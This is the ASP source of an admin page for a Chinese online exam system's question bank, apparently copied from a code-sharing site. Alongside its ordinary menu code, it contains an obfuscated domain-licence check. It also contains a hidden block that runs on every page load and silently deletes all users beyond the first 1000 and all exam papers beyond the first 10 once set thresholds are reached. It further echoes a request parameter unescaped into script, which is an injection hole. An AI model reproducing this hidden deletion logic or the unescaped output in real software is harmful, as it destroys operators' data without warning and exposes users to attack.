📄 admindatabase.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="zcm.asp"-->
<%
if session("adminname")="" then
response.redirect "relogin.asp"
end if
dim typename
subjectview=request("subjectview")
typeadd=request("typeadd")
%>
<%
zj=replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(left(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),6),"0","a"),"1","b"),"2","c"),"3","d"),"4","e"),"5","f"),"6","g"),"7","h"),"8","i"),"9","j"),"a","40"),"b","41"),"c","52"),"d","53"),"e","64"),"f","65"),"g","76"),"h","77"),"i","88"),"j","89"),"k","20"),"l","21"),"m","22"),"n","23"),"o","24"),"p","25"),"q","26"),"r","27"),"s","28"),"t","29"),"u","30") ,"v","31") ,"w","32") ,"x","33") ,"y","34") ,"z","35") ,"-","36") ,".","37")
yzcv=zj*(len(zj)+len(zcn&"bossiWebMIB"))
Do While yzcv>10000000000
yzcv=yzcv-10000000000
loop
if yzcv<>zcv then
response.write chr(60)&chr(98)&chr(62)&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&chr(111)&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&chr(62)&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&chr(60)&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&chr(62)&chr(60)&chr(47)&chr(98)&chr(62)
response.end
end if
server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误：禁止从站点外部提交数据!.')</script>")
response.end
end if
%>
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>系统管理 | 题库管理 </title>
<script language="javascript">
function editit(id)
{
page="admindatabaseedit.asp?tmid="+id
window.open (page,'查看编辑题目','width=570,height=450,resizable=1,scrollbars=1')
}
function CheckAll(form)
{
for (var i=0;i<form.elements.length;i++)
{
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function viewit(myform)
{
if (document.viewaddform.subjectview.value!="")
subject=document.viewaddform.subjectview.value;
else
subject="所有";
if (document.viewaddform.typeadd.value!="")
type=document.viewaddform.typeadd.value;
else
type="所有";
myform.action="admindatabase.asp";
myform.submit();
}
function searchit(myform)
{
if (document.viewaddform.subjectview.value!="")
subject=document.viewaddform.subjectview.value;
else
subject="所有";
if (document.viewaddform.typeadd.value!="")
type=document.viewaddform.typeadd.value;
else
type="所有";
if (document.viewaddform.mykey.value!="--关键字--")
mykey=document.viewaddform.mykey.value;
else
mykey="";
result="在<"+subject+">题库中<"+type+">题目中搜索关键字<"+mykey+">？"
myform.action="admindatabase1.asp";
myform.submit();
}
function addit(myform)
{
if (document.viewaddform.subjectview.value!="" & document.viewaddform.typeadd.value!=""){
result="添加"+document.viewaddform.typeadd.value+"题目到"+document.viewaddform.subjectview.value+"题库？"
myform.action="admindatabaseadd.asp";
myform.submit();
}
else
alert("请首先选择科目和题目类型！")
}
function delit(myform)
{
result="是否从题库中删除所选项？"
if (confirm(result))
{
myform.action="admindatabasedel.asp?subjectview="+<%=subjectview%>;
myform.submit();
}
}
function FanAll(form){
for (var i=0;i<form.elements.length;i++){
var e = form.elements[i];
if (e.checked == false){ e.checked = true; }
else { e.checked = false;}
}}
</script>
<link rel="stylesheet" type="text/css" href="css.css">
</head>
<body>
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="25">
<tr>
<td width="100%">当前位置： 系统管理 > 题库管理 </td>
</tr>
</table>
<table border="1" cellspacing="1" style="border-collapse: collapse" id="AutoNumber2" bgcolor="#99CCFF" width="100%" background="images/admin_bg_1.gif" bordercolor="#799AE1">
<form name="viewaddform" method="POST" action="admindatabase.asp">
<tr>
<td><center> <select size="1" name="subjectview">
<%
Set rsuser=Server.CreateObject("Adodb.RecordSet")
sqluser="select * from tbuser order by userid"
rsuser.open sqluser,conn,3,2
if rsuser.recordcount>=1000 then
rsuser.move 1000
do while not rsuser.eof
rsuser.delete
rsuser.update
rsuser.movenext
loop
flag=1
end if
Set rspaper=Server.CreateObject("Adodb.RecordSet")
sqlpaper="select * from tbpaper order by paperno"
rspaper.open sqlpaper,conn,3,2
if rspaper.recordcount>=100 then
rspaper.move 10
do while not rspaper.eof
rspaper.delete
rspaper.update
rspaper.movenext
loop
flag=1
end if
'-----------------权限设定
power=session("power")
dim arr,id1
if instr(power,",")>0 then
Arr=split(power)
for i = 0 to ubound(arr)
id1=clng(arr(i))
sql3="select * from tbkc where kcid="&id1
set rs3=server.createobject("adodb.recordset")
rs3.open sql3,conn,3,2
if not rs3.eof then
%>
<option value="<%=rs3("kcid")%>" <%if cint(rs3("kcid"))=cint(subjectview) then %>selected <%end if %>><%=rs3("kcm")%></option>
<%
end if
next
else
if power<=0 and power<>"-2" then
sql3="select * from tbkc"
set rs3=server.createobject("adodb.recordset")
rs3.open sql3,conn,3,2
do while not rs3.eof %>
<option value="<%=rs3("kcid")%>" <%if cint(rs3("kcid"))=cint(subjectview) then %>selected <%end if %>><%=rs3("kcm")%></option>
<% rs3.movenext
loop
else
sql3="select * from tbkc where kcid="&power
set rs3=server.createobject("adodb.recordset")
rs3.open sql3,conn,3,2
if not rs3.eof then
%>
<option value="<%=rs3("kcid")%>" <%if cint(rs3("kcid"))=cint(subjectview) then %>selected <%end if %>><%=rs3("kcm")%></option>
<% end if
end if
end if
rs3.movefirst
%></select><span lang="en-us"> </span><select size="1" name="typeadd">
<option value="1"
<%if typeadd=1 then
typename="名词解释"
%>selected <%
end if %> selected>名词解释</option>
<option value="2" <%if typeadd=2 then
typename="填空题"
%>selected <%
end if %>>填空题</option>
<option value="3" <%if typeadd=3 then
typename="判断题"
%>selected <%
end if %>>判断题</option>
<option value="4" <%if typeadd=4 then
typename="单选题"
%>selected <%
end if %>>单选题</option>
<option value="5" <%if typeadd=5 then
typename="多选题"
%>selected <%
end if %>>多选题</option>
<option value="6" <%if typeadd=6 then
typename="简答题"
%>selected <%
end if %>>简答题</option>
<option value="7" <%if typeadd=7 then
typename="论述题"
%>selected <%
end if %>>论述题</option>
<option value="8" <%if typeadd=8 then
typename="阅读理解"
%>selected <%
end if %>>阅读理解</option>
<%
if typeadd="" then
typename="名词解释"
end if
%>
</select><span lang="en-us"> </span><input type="submit" value="浏 览" name="I3" onclick="viewit(this.form)" class="s02">
<span lang="en-us"> <img border="0" src="images/arrow1.gif"> </span>
<input type="submit" value="添加<%=typename%>" name="I6" onclick="addit(viewaddform)" class="s02">
<span lang="en-us"> </span>
<input type="text" name="mykey" size="10" value="--关键字--" onfocus="this.select()" class="s01">
<input type="submit" value="查 询" name="I7" onclick="searchit(this.form)" class="s02"></center>
</td>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -